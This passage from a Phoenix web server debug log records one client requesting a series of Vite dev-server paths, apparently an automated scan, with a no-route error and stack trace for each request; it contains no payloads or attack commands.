    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:20.179000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28548] GET /
[Thu Sep  3 18:10:20.179000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:28548] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:10:20.180000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28548] Sent 200 in 939µs
[Thu Sep  3 18:10:20.439000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28564] GET /
[Thu Sep  3 18:10:20.440000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:28564] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:10:20.440000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28564] Sent 200 in 846µs
[Thu Sep  3 18:10:21.448000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /__vitesweep_ping_control_52a614990ef3424f
[Thu Sep  3 18:10:21.469000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40680] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_52a614990ef3424f (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:21.856000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /__vite_ping
[Thu Sep  3 18:10:21.869000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:23.024000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /@vite/client
[Thu Sep  3 18:10:23.045000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40680] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:23.090000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /@vite/env
[Thu Sep  3 18:10:23.115000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:23.401000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28594] GET /@vite/client.mjs
[Thu Sep  3 18:10:23.422000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28594] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:23.456000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28578] GET /@vite/client.js
[Thu Sep  3 18:10:23.474000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28578] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:25.085000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /bundledDevClient.mjs
[Thu Sep  3 18:10:25.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:26.125000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28578] GET /vite/client
[Thu Sep  3 18:10:26.139000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28578] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:26.167000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /vite/client.js
[Thu Sep  3 18:10:26.184000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40680] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:26.279000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /vite/client.mjs
[Thu Sep  3 18:10:26.307000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:27.951000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28594] GET /vite/hmr
[Thu Sep  3 18:10:27.973000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28594] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:28.052000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /vite/hmr.js
[Thu Sep  3 18:10:28.072000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40680] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:29.470000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /vite/hmr.mjs
[Thu Sep  3 18:10:29.491000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40680] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:30.038000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /@hmr
[Thu Sep  3 18:10:30.061000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:31.494000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28578] GET /@hmr.js
[Thu Sep  3 18:10:31.511000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28578] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:31.543000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28594] GET /@hmr.mjs
[Thu Sep  3 18:10:31.557000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28594] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
